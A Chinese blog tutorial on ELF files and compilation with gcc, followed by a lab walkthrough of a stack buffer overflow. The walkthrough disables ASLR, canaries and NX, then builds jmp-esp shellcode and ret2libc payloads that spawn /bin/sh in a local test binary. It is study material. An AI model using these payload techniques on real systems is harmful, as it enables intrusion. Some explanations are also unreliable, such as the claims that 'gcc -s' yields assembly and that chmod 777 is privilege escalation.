总感觉自己什么也没有做,时间就过去了。还是自己慢慢得积累吧。
——杰
什么是elf文件,或许在校园,你听过,也有学生学过。但是当你步入社会,从事计算机相关的职业,那么你就不得不了解这个东西。本人在初次接触的时候,也是感觉一顿茫然,后来用了一段时间的学习,才初识什么是elf文件,伴随着兴趣,我深入学习了一些,对它的原理有所顿悟。故而我在这里做一份个人总结,希望可以帮到各位看客。
一般高级语言程序编译的过程莫过于:预处理、编译、汇编、链接。这里以C语言为例。
gcc -E test1.c #这里可以看到程序运行的完整预处理过程
实际上 gcc 在这里调用了 cpp(虽然通过 gcc -v 仅看到 cc1),cpp 即 The C Preprocessor,主要用来预处理宏定义、文件包含、条件编译等
gcc -S test1.c #可以看到这个编译的过程
Shell 等解释语言也会经历一个词法分析和语法分析的阶段,不过之后并不会进行“翻译”,而是“解释”,边解释边执行。
语法错误在所难免,我通过看一下参考文章,有个很好的建议,就是可以给自己做一个错误表格,方便自己以后查阅。
gcc -o test test1.c #汇编前的优化
gcc -s test1.c #生成汇编文件
[test@localhost ~]$ gcc -S test1.c
[test@localhost ~]$ cat test1.s
.file "test1.c"
.section .rodata
.LC0:
.string "hello, world!"
.text
.globl main
.type main, @function
main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $16, %esp
movl $.LC0, (%esp)
call puts
movl $0, %eax
leave
ret
.size main, .-main
.ident "GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)"
.section .note.GNU-stack,"",@progbits
[test@localhost ~]$ file test1.s
test1.s: ASCII assembler program text
[test@localhost ~]$ gcc -c test1.s
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ as -o test1.o test1.s
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
这里的test1.o目标文件,就是elf文件。
1.什么是ELF文件?
ELF格式,全名为可执行和可链接格式(Executable and Linkable Format)。
维基百科中的定义:在计算机科学中,ELF文件是一种用于可执行文件、目标文件、共享库和核心转储(core dump)的标准文件格式。其中核心转储是指: 操作系统在进程收到某些信号而终止时,将此时进程地址空间的内容以及有关进程状态的其他信息写出的一个磁盘文件。这种信息往往用于调试。
通俗点说由汇编器和链接器生成的文件都属于ELF文件
想了解这个ELF的结构,就必须要知道一些工具,其中很重的一个库,就说BFD。
BFD is a package which allows applications to use the same routines tooperate on object files whatever the object file format. A new object fileformat can be supported simply by creating a new BFD back end and adding it tothe library.
对ELF文件,我们通常需要用到的指令有readelf,objdump,strip等。
ELF文件,主要可以分为三类:
要深入理解ELF的结构,我们要通过指令来学习。
通过上图,我们可以看到一个典型的ELF文件包括ELF Header、Sections、Section Header Table和Program Header Table。
ELF各个结构的详解及细分这里我就不多做细述。
(动态链接库)
经过上面的演示基本可以看出它们之间的不同:
可重定位文件本身不可以运行,仅仅是作为可执行文件、静态链接库(也是可重定位文件)、动态链接库的 “组件”。
静态链接库和动态链接库本身也不可以执行,作为可执行文件的“组件”,它们两者也不同,前者也是可重定位文件(只不过可能是多个可重定位文件的集合),并且在链接时加入到可执行文件中去。
而动态链接库在链接时,库文件本身并没有添加到可执行文件中,只是在可执行文件中加入了该库的名字等信息,以便在可执行文件运行过程中引用库中的函数时由动态链接器去查找相关函数的地址,并调用它们。
gcc -v -o test test1.o #我们可以看到可重位文件链接成可执行文件的过程
关于动态链接器的具体细节,大家可以看下面的这个文档
动态链接器的执行细节
为了方便下面的学习,我对上面的学习及指令进行一次,简单的总结:
[test@localhost ~]$ gcc -c test1.c #-c 生成可重定位的文件
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ gcc -o test test1.o #-o 生成可执行文件
[test@localhost ~]$ file test
test: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[test@localhost ~]$ gcc -fpic -shared -Wl,-soname,libtest.so.0 -o libtest.so.0.0 test1.o
#生成动态链接库 libtest.so.0.0
[test@localhost ~]$ file libtest.so.0.0
libtest.so.0.0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
仔细研究ELF文件的结构,我们可以发现:
无论是文件头部、程序头部表、节区头部表,还是节区,它们都对应着 C 语言里头的一些结构体(elf.h 中定义)。文件头部主要描述 ELF 文件的类型,大小,运行平台,以及和程序头部表和节区头部表相关的信息。节区头部表则用于可重定位文件,以便描述各个节区的信息,这些信息包括节区的名字、类型、大小等。程序头部表则用于描述可执行文件或者动态链接库,以便系统加载和执行它们。而节区主要存放各种特定类型的信息,比如程序的正文区(代码)、数据区(初始化和未初始化的数据)、调试信息、以及用于动态链接的一些节区,比如解释器(.interp)节区将指定程序动态装载 / 链接器 ld-linux.so 的位置,而过程链接表(plt)、全局偏移表(got)、重定位表则用于辅助动态链接过程。
[ 动态链接器:]
Linux 下 elf 文件的动态链接器是 ld-linux.so,即 /lib/ld-linux.so.2。并且动态链接器有一个专门的节区来存放,就是.interp(名字的由来:因为当 Shell 解释器或者其他父进程通过exec启动我们的程序时,系统会先为ld-linux创建内存映像,然后把控制权交给ld-linux,之后ld-linux负责为可执行程序提供运行环境,负责解释程序的运行)。还有另一个.dynamic,它存放了和动态链接相关的很多信息,例如动态链接器通过它找到该文件使用的动态链接库
动态链接器的执行过程:
1.将可执行文件的内存段添加到进程映像中;
2.把共享目标内存段添加到进程映像中;
3.为可执行文件和它的共享目标(动态链接库)执行重定位操作;
4.关闭用来读入可执行文件的文件描述符,如果动态链接程序收到过这样的文件描述符的话;
5.将控制转交给程序,使得程序好像从 exec() 直接得到控制
[got (全局偏移表):]需要配合plt,可以查看具体的地址。got节和.plt节一起提供了对导入的共享库函数的访问入口,由动态链接器在运行时进行修改。如果攻击者获得了堆或者.bss漏洞的一个指针大小的写原语,就可以对该节任意进行修改。.got.plt节跟程序执行有关,因此节类型被标记为SHT_PROGBITS。
[plt (过程连接表):] 一些符号在可重定位文件和可执行文件中的地址都没有确定,等于它属于外部符号,可能定义在动态链接库中,在程序运行时需要通过动态链接器。
[test@localhost ~]$ touch wh.c #生成一个C语言的脚本
[test@localhost ~]$ vim wh.c
[test@localhost ~]$ cat wh.c
#include
int main(void)
{
printf("hello, world!\n");
return 0;
}
[test@localhost ~]$ chmod 777 wh.c #提权 (我们很多时候,拿到的elf文件无法运行,就是因为我们没有提权)
[test@localhost ~]$ gcc -c wh.c #生成可重定向的目标文件
[test@localhost ~]$ file wh.o
wh.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ gcc -o wh wh.o #生成可执行目标文件
[test@localhost ~]$ file wh
wh: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[test@localhost ~]$gcc -fpic -shared -W1,-soname,libhello.so.0 -o libhello.so.0.0 wh.o
#生成动态链接库
[test@localhost ~]$ file libhello.so.0.0
libhello.so.0.0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
[test@localhost ~]$ wc -c wh
4640 wh
[test@localhost ~]$ size wh #查看当前文件的大小
text data bss dec hex filename
1037 252 8 1297 511 wh
[test@localhost ~]$ strip -R .hash wh #删除.hash节区
[test@localhost ~]$ wc -c wh
3000 wh
[test@localhost ~]$ strip -R .gnu.version wh #删除.gnu.version
[test@localhost ~]$ wc -c wh
2948 wh
这里删除的两个节区,需要我们来查看文件的结构,知道那些地方没有用处,可以删除,此外,“减肥”,还可以让我们的程序执行速度大大提升。
利用汇编来“减肥”
[test@localhost ~]$ gcc -S wh.c
[test@localhost ~]$ cat wh.s
.file "wh.c"
.section .rodata
.LC0:
.string "hello, world!"
.text
.globl main
.type main, @function
main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $16, %esp
movl $.LC0, (%esp)
call puts
movl $0, %eax
leave
ret
.size main, .-main
.ident "GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)"
.section .note.GNU-stack,"",@progbits
[test@localhost ~]$ gcc -o wh wh.s
(这里是对汇编语言,进行了重写,删除了没有用处的标记,简化了语言)
然后可以合并代码段、程序头和文件头;在非连续的空间插入代码,不断地简化代码。
通过分析目标系统以识别系统的组件以及这些组件之间的相互关系并创建该系统的另一种形式的表示或更高级的抽象过程
——IEEE 1990定义
一般的逆向过程:
逆向工程的两个阶段:
系统级逆向
对程序进行大范围的观察,确定程序的基本结构,找到感兴趣的代码区域。
代码级逆向
从程序的二进制代码中提取设计理念和算法。由于编译器抹掉了很多便于理解的信息,即使有完整文档,也面临理解的困难。
一个C语言:
明显foo()存在栈溢出漏洞,同时dummy()模仿大型的程序。在大型的程序中,jmp esp 这样的代码,很容易找到。
实验前准备:
关闭:ASLR(系统级)
命令:sudo sysctl kernel.randomize_va_space=0
禁用:canary 和 NX
命令:gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack
实验原理:通过buf溢出,来控制PC指针,从而来执行我们想实现的代码。
流程: (逆向,我们可以反推)执行我们想要的代码 < —ret返回值,返回到我们的目标地址 < — 填满缓冲区,让我们的目标地址正好覆盖返回地址 < — 生成若干字符,确定buf大小 < —确定buf开始地址和偏移
最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序, 然后将返回地址修改为该段shellcode的起始地址。。
低地址 —> 高地址 …
[shellcode]…[返回地址]…
或者 …
[返回地址]…[shellcode]…
前者是把shellcode写在foo函数的栈帧里, 但其大小有限; 后者则是把shellcode写在调用者(main)的栈帧里. 关键是地址如何确定? shellcode如何编写?
这里我们选用第二种(较为常见),准备了两个shellcode:
# _exit
mov eax, 0x01;
mov ebx, 66;
int 0x80;
# _环境变量
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push eax
mov edi, 0xf7e2cb30
call edi
1.确定缓冲区的大小
返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认
生成若干规则字符串:$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
或者使用python pattern.py create 50
0x41494141,表明用的是小端存储,翻译过来就是AAIA,查找字符串,出现在该序列的第23个。
Buf的首地址在哪里呢?
Buf的首地址=0xffffc578-0x12
通用的方法是什么:在程序中,寻找jmp esp、call esp之类的指令片段来将执行流引导到我们的shellcode上。
nop; jmp esp 90ffe4
在正常的操作中,我们可以通过反汇编和gadgets来寻找这类关键跳转。
现在我们来构造payload:
Payload=“A”*22+跳转地址+shellcode
跳转地址:\x21\x85\x04\x08
Shellcode=\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80
为了增加payload的鲁棒性,我们可以在跳转地址和shellcode中间来添加若干nop.
增加难度,我们调用一个可以交互的窗口。
程序在执行的过程中,会和系统产生交互,调用到库函数。我们可以利用这一点,让程序执行system(“/bin/sh”)函数。
问题的关键是什么?寻找到system的地址。System函数,存在于libc动态链接库。
1.查阅libc的地址入口。
2.计算system函数与libc的偏移,从而得出system的地址。
3.找到/bin/sh (程序和系统里,都可能存在)
libc的地址
命令: ldd 或者 LD_TRACE_LOADED_OBJECTS=1
system函数相对于libc.so的偏移
命令:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
计算得system地址=0xf7df1000+0x0003ab30=0xf7e2bb30
找/bin/sh
在程序里找:$ rafind2 -z -s /bin/sh ./victim
没有找到
在系统里找:$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
pyload=‘A’*22+system地址+任意地址+bin/sh地址
构造payload(若找不到bin\sh,我们还可以通过环境变量来达成目的)
Payload=‘A’*22+跳转地址+shellcod
编写shellcode
Shellcode的机器码:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x50\xe8\xe3\xb7\xff\xd3
最后测试
生成poc: ‘A’*22 + ‘\xd7\x84\x04\x08’ + ‘\x90’*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x50\xe8\xe3\xb7\xff\xd3’
成功!
根据poc,打造武器exp: (代码如下)
这里后面的实验部分,是我将自己的实验演示ppt简单复制过来的,给大家共享,希望可以与大家一起进步,如果哪里有问题的,请与我联系,我可与君细谈。